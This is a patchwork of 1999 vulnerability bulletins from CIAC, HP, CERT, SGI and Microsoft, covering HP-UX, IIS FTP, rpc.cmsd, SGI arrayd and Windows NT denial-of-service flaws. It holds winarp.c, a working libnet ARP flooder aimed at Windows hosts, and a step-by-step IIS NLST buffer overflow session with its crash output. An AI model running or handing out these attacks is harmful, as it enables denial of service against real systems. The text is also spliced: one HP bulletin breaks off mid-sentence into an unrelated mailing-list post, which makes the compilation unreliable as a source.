|
INFORMATION BULLETIN
J-050: HP-UX Visualize Conference Vulnerability
July 1, 1999 23:00 GMT
PROBLEM: There is a problem with the HP Visualize Conference ftp
capability's default configuration.
PLATFORM: HP-UX Series 700, release 10.20
DAMAGE: Possible denial of service or unauthorized access.
SOLUTION: Apply available patch.
VULNERABILITY Risk is low. Systems running these services could suffer a
ASSESSMENT: denial of service or unauthorized access.
[ Start Hewlett-Packard Advisories ]
Document ID: HPSBUX9906-099
Date Loaded: 19990628
Title: Security Vulnerability HP Visualize Conference
-------------------------------------------------------------------------
HEWLETT-PACKARD COMPANY SECURITY BULLETIN: #00099, 29 June 1999
-------------------------------------------------------------------------
The information in the following Security Bulletin should be acted upon
as soon as possible. Hewlett-Packard Company will not be liable for any
consequences to any customer resulting from customer's failure to fully
implement instructions in this Security Advisory as soon as possible.
-------------------------------------------------------------------------
PROBLEM: There is a problem with the HP Visualize Conference ftp
capability's default configuration.
PLATFORM: HP-UX Series 700, release 10.20
DAMAGE: Possible denial of service or unauthorized access.
SOLUTION: Apply PHSS_17168.
AVAILABILITY: The patch is available now.
-------------------------------------------------------------------------
I.
A. Background - HP Visualize Conference is a T-120 conference
solution for HP-UX Workstations. The HP Visualize Conference ftp
capability allows a conference participant to push a file to all
other participants.
B. Recommended solution - Apply PHSS_17168. Bug ARP
I started writing that proggie with plain syscalls, but it would only run on
Linux, so I modified one of the examples in Route's Libnet 0.9 to do the
stuff. I haven't tested it yes since I don't have LAN at home...
Compile with:
cc winarp.c -o winarp -lnet
Usage:
./winarp [-i device] [-c count] -d destination
For those who are still wondering what the hell Libnet is: check out
http://www.infonexus.com/~demon9
--
kay@phreedom.org
AD80 0D6A 5286 2729 5D2F 6326 D3F8 C61A 93F4 4C48 xuniL
DA FA 10 7D 6A 05 45 11 37 E1 E1 2B B4 34 2E 83 Zelur
On Mon, 12 Apr 1999, Joel Jacobson wrote:
> Hello all bugtraqers!
>
> I've found a problem in Windows9X/NT's way of handeling ARP packets.
>
> If you flood a computer at your LAN with the packet below, it's user
> will be forced to click a messagebox's OK button x
times, where x is the number
> of packets you flooded with.
>
> I advice Microsoft to develope a patch for this problem, that let you
> choose to ignore all future messages of this type.
>
> There is no way to trace the flooder since the MAC address in the
> packet can be modified to anything. Bad configurated routers will
> not drop this packet. When I tested this problem on my LAN I could
> flood a computer on another C-net at my LAN without problems.
>
> The program NetXRay was used to preform the flood.
> The victims had to reboot their computer, or choose to click _very_
> many OK buttons.
>
> The ARP packet is build up like this:
>
> Ethernet Version II:
> Address: XX-XX-XX-XX-XX-XX --->FF-FF-FF-FF-FF-FF
> Ehternet II Protocol Type: ARP
> Address Resolution Protocol:
> Hardware Type: 1 (Ethernet)
> Protocol Type: 800
> Hardware Address: Length: 6
> Protocol Address: Length: 4
> Operations: ARP Request
> Source Hardware Address: XX-XX-XX-XX-XX-XX
> IP Source Address: <victim computer's IP>
> Destination Hardware Address: XX-XX-XX-XX-XX-XX
> IP Destination Address: <victim computer's IP>
>
> And in HEX the packet look like this:
> ff ff ff ff ff ff 00 00 00 00 00 00 08 06 08 00 06 04 00 01 00 00 00
> 00 00 00 XX XX XX XX 00 00 00 00 00 00 XX XX XX XX
> (XX is what matters here)
>
> Hope a patch for this problem will be developed fast, cause this is a
> big problem for my school and probably also to others.
>
> I'm not a C programmer, and don't know how to write an exploit for
> this problem. So, if anyone else can develope an exploit, feel free to do so.
>
> Joel Jacobson.
[ Part 2, "" Text/PLAIN (Name: "winarp.c") 71 lines. ]
/*
* Copyright (c) 1998, 1999 route|daemon9 <route@infonexus.com>
* All rights reserved.
*
* Modified to winarps.c 1999 by kay <kay@phreedom.org>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
*
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#include <libnet.h>
u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
u_long ip_dst = 0;
void send_arp(struct link_int *, u_char *);
#if (__linux__)
#define IPOPT_SECURITY 130
#endif
int main(int argc, char *argv[])
{
int c, count = 1;
char errbuf[256];
char *device = NULL;
char *address = NULL;
struct link_int *l;
while ((c = getopt(argc, argv, "i:d:c:")) != EOF) {
switch (c) {
case 'i':
device = optarg;
break;
case 'd':
address = optarg;
ip_dst = name_resolve(address, 0);
break;
case 'c':
count = atoi(optarg);
break;
default:
exit(EXIT_FAILURE);
}
}
if (!device) {
fprintf(stderr, "Specify a device\n");
exit(EXIT_FAILURE);
}
if (!ip_dst) {
fprintf(stderr, "Specify destination\n");
exit(EXIT_FAILURE);
}
if ((l = open_link_interface(device, errbuf)) == NULL) {
fprintf(stderr, "open_link_interface: %s\n", errbuf);
exit(EXIT_FAILURE);
}
send_arp(l, device);
exit(EXIT_SUCCESS);
}
void send_arp(struct link_int *l, u_char * device)
{
int n;
u_char *buf;
buf = (u_char *) malloc(ARP_H + ETH_H);
if (!buf) {
perror("no packet memory");
exit(EXIT_FAILURE);
}
memset(buf, 0, ARP_H + ETH_H);
build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src,
(void *)&ip_dst, enet_dst, (void *)&ip_dst, NULL, 0, buf + ETH_H);
n = write_link_layer(l, device, buf, ARP_H + ETH_H);
printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);
}
-----------------------------------------------------------------------------------
[ http://www.rootshell.com/ ]IIS Remote FTP Exploit/DoS Attack Systems Affected
Windows NT 4.0 (SP4) IIS 3.0 / 4.0
Windows 95/98 PWS 1.0
Advisory Code
IISE01 Description: While feeding in logic into Retina's artificial intelligence engine, which
helps construct query strings to pass to internet servers, checking for
overflow bugs and miss parsing of command strings. Our test server stopped
responding. Below is our findings. Microsoft IIS (Internet Information Server) FTP service contains a buffer
overflow in the NLST
command. This could be used to DoS a remote machine and
in some cases execute code remotely. Lets look at the following example attack. The server must either have
anonymous access rights or an attacker must have an account. FTP Session was
initiated from an NT Machine. The following Example was tested on Wondows NT 5.0 beta 2 ftp client,
Windows 9x and NT 4.0 ftp clients will not allow you to overflow the buffer
from the command prompt, and you will have to code your own NLST command to
perform the buffer overflow.
We are waiting for microsoft to release a fix then we will release a program
that will demonstrate the DoS. C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service
(Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send
identity (e-mail name) as password.
Password:
230 Anonymous user logged in. ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA 200 PORT command successful.
150 Opening ASCII mode data connection for
file list. [The server has now processed our long NLST request and has crashed] -> ftp: get :Connection reset by peer
[Our ftp client looses connection... that
is a given]
The above example uses 316 characters to overflow. This is the smallest
possible buffer to pass that will overflow IIS. Lets take a look at the
server side happenings.
On the server side we have an "Application Error" message for inetinfo.exe.
"The instruction at '0x710f8aa2' referenced memory at '0x41414156'. The
memory could not be 'read'." If we take a look at our registers we will see
the following: EAX = 0000005C EBX = 00000001
ECX = 00D3F978 EDX = 002582DD
ESI = 00D3F978 EDI = 00000000
EIP = 710F8AA2 ESP = 00D3F644
EBP = 00D3F9F0 EFL = 00000206 There is no 41 hex (Our overflow character) in any of our registers so we
chalk this up as a DoS attack for now.
Lets move on and take a look at the largest string we can pass to overflow
IIS. C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service
(Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send
identity (e-mail name) as password.
Password:
230 Anonymous user logged in. ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA 200 PORT command successful.
150 Opening ASCII mode data connection for
file list.
Connection closed by remote host. In this case we passed 505 characters to overflow IIS. This is the largest
possible (tested) buffer to pass that will overflow IIS. Lets take a look once
again at the server side. On the server we have the same "Application Error" message for
inetinfo.exe except this time "The instruction at '0x722c9262' referenced
memory at "0x41414141'." This is looking mighty interesting. Lets look at
our registers once again:
EAX = 00000000 EBX = 41414141
ECX = 41414141 EDX = 722C1CAC
ESI = 41414141 EDI = 41414141
EIP = 722C9262 ESP = 00D3F524
EBP = 00D3F63C EFL = 00000246
There sure are a lot of 41 hex codes in our registers now. So to wrap it all up what we have here is a DoS attack against any IISserver
with ftp access. Keep in mind we have to be able to login. However,
Anonymous access is granted on most servers. Once we have overflowed IIS all
IIS services will fail. (I.E. The web service, NNTP, SMTP etc..) What we
have seems to be a very interesting buffer overflow.
CERT® Advisory CA-99-08 Buffer Overflow Vulnerability in Calendar Manager Service Daemon, rpc.cmsd
Originally released: July 16, 1999
Source: CERT/CC
Revised Date: July 20, 1999 Updated the advisory title
Systems Affected
Systems running the Calendar Manager Service daemon, often named rpc.cmsd
I. Description
A buffer overflow vulnerability has been discovered in the Calendar Manager Service daemon, rpc.cmsd. The rpc.cmsd daemon is frequently distributed with the Common Desktop Environment (CDE) and
Open Windows.
II. Impact
Remote and local users can execute arbitrary code with the privileges of the rpc.cmsd daemon, typically root. Under some configurations rpc.cmsd runs with an effective userid of
daemon, while retaining root privileges.
This vulnerability is being exploited in a significant number of incidents reported to the CERT/CC. An exploit script was posted to BUGTRAQ.
III. Solution
Install a patch from your vendor
Appendix A contains information provided by vendors for this advisory. We will update the appendix as we receive more information. If you do not see your vendor's name, the
CERT/CC did not hear from that vendor. Please contact your vendor directly.
We will update this advisory as more information becomes available. Please check the CERT/CC Web site for the most current revision.
Disable the rpc.cmsd daemon
If you are unable to apply patches to correct this vulnerability, you may wish to disable the rpc.cmsd daemon. If you disable rpc.cmsd, it may affect your ability to manage calendars.
Appendix A: Vendor Information
Hewlett-Packard Company
HP is vulnerable, patches in process.
IBM Corporation
AIX is not vulnerable to the rpc.cmsd remote buffer overflow.
IBM and AIX are
registered trademarks of International Business Machines Corporation.
Santa Cruz Operation, Inc.
SCO is investigating this problem. The following SCO product contains CDE and is potentially vulnerable:
SCO UnixWare 7
The following SCO products do not contain CDE, and are therefore believed not to be vulnerable:
SCO UnixWare 2.1
SCO OpenServer 5
SCO Open Server 3.0
SCO CMW+
SCO will provide further
information and patches if necessary as soon as possible at http://www.sco.com/security.
Silicon Graphics, Inc.
IRIX does not have dtcm or rpc.cmsd and therefore is NOT vulnerable.
UNICOS does not have dtcm or rpc.cmsd and therefore is NOT vulnerable.
Sun Microsystems, Inc.
The following patches are available:
OpenWindows:
SunOS version Patch ID
_____________ _________
SunOS 5.5.1 104976-04
SunOS 5.5.1_x86 105124-03
SunOS 5.5 103251-09
SunOS 5.5_x86 103273-07
SunOS 5.3 101513-14
SunOS 4.1.4 100523-25
SunOS 4.1.3_U1 100523-25
CDE:
CDE version Patch ID
___________ ________
1.3 107022-03
1.3_x86 107023-03
1.2 105566-07
1.2_x86 105567-08
Patches for SunOS 5.4 and CDE 1.0.2 and 1.0.1 will be available within a week of the release of this advisory.
Sun security patches are available at:
http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-license&nav=pub patches The CERT Coordination Center would like to thank Chok Poh of Sun Microsystems,
David Brumley of Stanford University, and Elias Levy of Security Focus for their assistance in preparing this advisory.
This document is available from: http://www.cert.org/advisories/CA-99-08-cmsd.html.
INFORMATION BULLETIN
J-053: HP Current Directory Vulnerability
HP Daily Security Bulletins Digest HPSBUX9907-100
July 22, 1999 23:00 GMT
PROBLEM: The current directory is in the root user's PATH after logging
in using CDE. The root user should not have the current
directory in the PATH.
PLATFORM: HP 9000 series 700/800 at HP-UX revision 10.X.
DAMAGE: Potential for unauthorized increase in privileges.
SOLUTION: Modify /usr/dt/bin/Xsession as indicated in the bulletin until
a patch is available.
VULNERABILITY The risk is Medium because there are several possible ways
ASSESSMENT: that a user can get an unauthorized increase in privileges
through this PATH problem. The workaround should be used
until a patch is available.
[ Start Hewlett-Packard Advisory ]
Digest Name: Daily Security Bulletins Digest
Created: Tue Jul 20 3:00:02 PDT 1999
Table of Contents:
Document ID Title
--------------- -----------
HPSBUX9907-100 CDE Leaves Current Directory in root PATH
The documents are listed below.
------------------------------------------------------------------------------
-
Document ID: HPSBUX9907-100
Date Loaded: 19990719
Title: CDE Leaves Current Directory in root PATH
-------------------------------------------------------------------------
**REVISED 01** HEWLETT-PACKARD
COMPANY SECURITY BULLETIN: #00100, 07 July 1999
Last Revised: 19 July 1999
-------------------------------------------------------------------------
The information in the following Security Bulletin should be acted upon
as soon as possible. Hewlett-Packard Company will not be liable for any
consequences to any customer resulting from customer's failure to fully
implement instructions in this Security Bulletin as soon as possible.
-------------------------------------------------------------------------
PROBLEM: The current directory is in the root user's PATH
after logging in using CDE.
PLATFORM: HP 9000 series 700/800 at HP-UX revision 10.X
DAMAGE: Increase in privileges..
SOLUTION: Modify /usr/dt/bin/Xsession until a patch is available.
AVAILABILITY: This advisory will be updated when patches are available.
CHANGE SUMMARY: HTML to text conversion instructions for script added.
-------------------------------------------------------------------------
I.
A. Background - The PATH environemnt variable is constructed from
several sources including dtsearchpath and scripts in
/etc/dt/config/Xsession.d/ and /usr/dt/config/Xsession.d/.
The resulting PATH contains the string "::" which will be
interpreted as the current directory. The root user should
not have the current directory in the PATH.
B. Fixing the problem - Since the PATH environment variable can be
affected by dtsearchpath and several scripts, the recommended
solution is to clean up the root user's PATH after is has been
created.
**REVISED 01**
Note: This file is in HTML format. If you are editing
the text version from a mailing the line below:
for (i=1; i<=n; i++) {
must be changed. Replace the characters between
the second "i" and the "=n" with the single "less than"
character (ascii 0x3c).
The line will then read:
for (i=1; iX=n; i++) {
where X stands for the "less than" character.
In /usr/dt/bin/Xsession just before this:
# ############################################
#### ###########################
#
# Startup section.
Add this:
###################### Clean up $PATH for root ##########################
if [ "$USER" = "root" ]
then
Log "Clean up PATH for root user"
Log "Old PATH = $PATH"
PATH=`echo $PATH | awk '
{
# Remove elements from PATH that are
# (a) "."
# (b) ""
# (c) blank
#
gsub (" ",":", $0) # Substitite ":" for each blank
n = split ($0, path, ":") # Split into elements with ":" as delimiter
first = 1 # To suppress leading ":" in new PATH
for (i=1; i<=n; i++) {
len = length(path[i])
dot = index(path[i], ".")
dot_only = 0
if ((len == 1) && (dot==1)) {
dot_only = 1
}
# print element if it is not "" and not "."
if (!(len==0) && !(dot_only==1)) {
if(first != 1) {
printf (":") # if not first element, print ":" in front
}
printf ("%s",path[i])
first = 0
}
}
}
END { printf ("\n") }'`
Log "New PATH = $PATH"
fi
###################### End - Clean up $PATH for root #################### J-052: SGI arrayd default security configuration
SGI Security Advisor 19990701-01-P
July 22, 1999 23:00 GMT
PROBLEM: The default security configuration of arrayd from
array.auth(4) does not provide adequate protection against
attack when the array of clustered systems are placed on an
untrusted network.
PLATFORM: IRIX systems:
6.2, 6.3, 6.4, 6.5, 6.5.1, 6.5.2, 6.5.3, and 6.5.4.
UNICOS systems:
9.0.X.X, 10.0, 10.0.0.1, 10.0.0.2, 10.0.0.3, 10.0.0.4,
10.0.0.5, and 10.0.0.6.
DAMAGE: Exploiting this vulnerability can lead to a root compromise.
SOLUTION: Apply the workaround given in the bulletin below. This issue
will be corrected in future releases of UNICOS and the IRIX
applications CD.
VULNERABILITY The risk is high for a root compromise of vulnerable systems.
ASSESSMENT: SGI HIGHLY RECOMMENDS that these measures be implemented on
ALL vulnerable SGI systems.
_____________________________________________________________ _____ ____________
SGI Security Advisory
Title: SGI arrayd default security configuration
Number: 19990701-01-P
Date: July 19, 1999
_____________________________________________________________ _____ ____________
The SGI Array Services provide a mechanism to simplify administering
and managing an array of clustered systems. The arrayd(1m) program is part
of the array_services(5) and is known as the array services daemon.
Unfortunately, the default security configuration of arrayd from
array.auth(4) does not provide adequate protection against attack when the
array of clustered systems are placed on an untrusted network. For example,
if the systems are placed on the Internet without a firewall, there is a
possible root compromise of all clustered systems in the array when the
default array.auth configuration is used.
SGI has investigated the issue and recommends the following steps for
neutralizing the exposure. It is HIGHLY RECOMMENDED that these measures
be implemented on ALL vulnerable SGI systems. This issue will be
corrected in future releases of UNICOS and the IRIX applications CD.
+------------+
|-- Impact --|
+------------+
On IRIX, the SGI Array services consists of an inst image called arraysvcs.
The arraysvcs inst image is installed by default on IRIX 6.4-6.5.4 from the
IRIX Applications CD and available as an optional product for IRIX 6.2-6.3.
All sites using array services on UNICOS 9.0 or later are vulnerable.
Array services are not supported on UNICOS/mk, so it is not vulnerable.
The default arrayd.auth configuration file has authentication disabled.
A local user account on the vulnerable array is not required in order to
exploit the arrayd daemon. The arrayd daemon can be exploited remotely over
an untrusted network.
The arrayd vulnerability can lead to a root compromise on an untrusted
network if the array services are running and the arrayd.auth configuration
file has not been changed to enable authentication.
It is believed that this vulnerability in arrayd has not been publicly
discussed outside of SGI.
+------------------------+
|-- Temporary Solution --|
+------------------------+
The steps below can be used to either 1) remove the vulnerability by
removing the Array Services if they are not being used or 2) enable
authorization using a appropriately setup arrayd.auth(4) configuration
file.
+-+-+-+-+
|I R I X|
+-+-+-+-+
1) Become the root user on the system.
% /bin/su -
Password:
#
2) Check to see if the system is running the SGI Array Services.
# chkconfig
Flag State
==== =====
array off
If the Array Services are disabled, the system is not vulnerable
to the arrayd vulnerability.
If required, the arraysvcs inst image can be removed using
following command:
=================
**** WARNING ****
=================
This will completely remove the SGI Array Services programs
# versions remove arraysvcs
3) Edit the default arrayd.auth file to enable authentication.
# vi /usr/lib/array/arrayd.auth
4) Comment out authentication entry in the arrayd.auth file.
This will enable SIMPLE authentication.
# AUTHENTICATION NONE
5) Configure SIMPLE authentication in the arrayd.auth file
if array services are needed on untrusted networks.
See arraysvcs release notes or arrayd.auth man page for more
information on configuring SIMPLE authentication.
6) Restart the arrayd daemon so that it will read the new configuration
files.
# /etc/init.d/array restart
7) Return to previous level.
# exit
%
+-+-+-+-+-+-+
|U N I C O S|
+-+-+-+-+-+-+
1) Become the root user on the system.
% /bin/su -
Password:
#
2) Edit the default arrayd.auth file to enable authentication.
# vi /usr/lib/array/arrayd.auth
3) Replace AUTH NONE entry with AUTH SIMPLE in the arrayd.auth file.
This will enable SIMPLE authentication.
Find
AUTH NONE
Replace with
AUTH SIMPLE
4) Configure SIMPLE authentication in the arrayd.auth file
if array services are needed on untrusted networks.
See arrayd.auth man page for more
information on configuring SIMPLE authentication.
5) Restart the arrayd daemon so that it will read the new configuration
files.
# /etc/init.d/array restart
6) Return to previous level.
# exit
%
+--------------+
|-- Solution --|
+--------------+
+-+-+-+-+
|I R I X|
+-+-+-+-+
On IRIX, the Array Services security issue is scheduled to be fixed in the
next release of the IRIX applications CD.
OS Version Vulnerable? Patch # Other Actions
---------- ----------- ------- -------------
IRIX 3.x-5.X no Note 1
IRIX 6.0.x no Note 1
IRIX 6.1 no Note 1
IRIX 6.2 yes not avail Note 2 & 3
IRIX 6.3 yes not avail Note 1 & 3
IRIX 6.4 yes not avail Note 1 & 3
IRIX 6.5 yes not avail Note 3 & 4
IRIX 6.5.1 yes not avail Note 3 & 4
IRIX 6.5.2 yes not avail Note 3 & 4
IRIX 6.5.3 yes not avail Note 3 & 4
IRIX 6.5.4 yes not avail Note 3 & 4
NOTES
1) This version of the IRIX operating system has retired.
Upgrade to currently supported IRIX operating system.
See http://support.sgi.com/news/irix2.html for more information.
2) This version of the IRIX operating system is in maintenance mode.
See http://support.sgi.com/news/irix1.html for more information.
3) See "Temporary Solution" section.
4) If you have not received an IRIX 6.5.X CD for IRIX 6.5, contact your
SGI Support Provider or download the IRIX 6.5.X Maintenance Release
Stream from http://support.sgi.com/ or
ftp://support.sgi.com/support/relstream/
+-+-+-+-+-+-+
|U N I C O S|
+-+-+-+-+-+-+
OS Versions Vulnerable? Other Actions
----------- ----------- -------------
UNICOS /mk No
UNICOS 9.0.X.X Yes Note 1
UNICOS 10.0 Yes Note 1
UNICOS 10.0.0.1 Yes Note 1
UNICOS 10.0.0.2 Yes Note 1
UNICOS 10.0.0.3 Yes Note 1
UNICOS 10.0.0.4 Yes Note 1
UNICOS 10.0.0.5 Yes Note 1
UNICOS 10.0.0.6 Yes Note 1 INFORMATION BULLETIN
J-049: Windows NT, Two Denial-of-Service Vulnerabilities (Malformed LSA Request and CSRSS Worker Thread Exhaustion)
June 24, 1999 23:00 GMT
PROBLEM: Two vulnerabilities have been identified by Microsoft in
Windows NT.
1) A malformed request to the Local Security Authority (LSA)
service causes the service to stop responding.
2) CSRSS.EXE worker thread exhaustion can cause a denial of
service.
PLATFORM: Windows NT 4.0, workstation and server.
DAMAGE: These vulnerabilities could allow denial of service attacks.
SOLUTION: Apply available patches from Microsoft.
VULNERABILITY Risk is low. Systems running these services could suffer a
ASSESSMENT: denial of service but no damage results. Rebooting the system
clears the denial of service.
[ Start Microsoft Advisories ]
1) "Malformed LSA Request" Vulnerability
Microsoft Security Bulletin (MS99-020)
--------------------------------------
Patch Available for "Malformed LSA Request" Vulnerability
Originally Posted: June 23, 1999
Summary
=======
Microsoft has released a patch that eliminates a vulnerability that poses a
denial of service threat to Microsoft(r) Windows NT(r) servers and
workstations. A malformed request to the Local Security Authority (LSA)
service will causes the service to stop responding, requiring the computer
to be restarted.
A fully supported patch is available to eliminate the vulnerability, and
Microsoft recommends that affected customers download and install it, if
appropriate.
Issue
=====
Windows NT provides the ability to manage user privileges programmatically
via the Local Security Authority (LSA) API. The API allows a program to
query user names, modify privileges, and change other elements of the
security policy, subject to the program's authorizations.
Certain API methods do not correctly handle certain types of invalid
arguments. The vulnerability is a denial of service threat only, and
service can be restored by restarting the machine. There is no capability
to use this vulnerability to obtain unauthorized services from LSA.
While there are no reports of customers being adversely affected by this
vulnerability, Microsoft is proactively releasing this patch to allow
customers to take appropriate action to protect themselves against it.
Affected Software Versions
==========================
- Microsoft Windows NT 4.0 Workstation
- Microsoft Windows NT 4.0 Server
- Microsoft Windows NT 4.0 Server, Terminal Server Edition, 4.0
What Microsoft is Doing
=======================
Microsoft has released patches that fix the problem identified. The patches
are available for download from the sites listed below in What Customers
Should Do.
Microsoft also has sent this security bulletin to customers
subscribing to the Microsoft Product Security Notification Service.
See http://www.microsoft.com/security/services/bulletin.asp for
more information about this free customer service.
Microsoft has published the following Knowledge Base (KB) article on this
issue:
- Microsoft Knowledge Base (KB) article Q231457,
Malformed Request Causes LSA Service to Hang,
http://support.microsoft.com/support/kb/articles/q231/4/57.asp
(Note: It might take 24 hours from the original posting of
this bulletin for the KB article to be visible in the Web-based
Knowledge Base.)
What Customers Should Do
========================
Microsoft has released patches that fix the problem identified.
Microsoft highly recommends that customers evaluate the degree of
risk that this vulnerability poses to their systems and determine
whether to download and install the patch. The patch can be found at:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa
/NT40/hotfixes-postSP5/LSA3-fix/
NOTE: The above URL has been word-wrapped for readability |
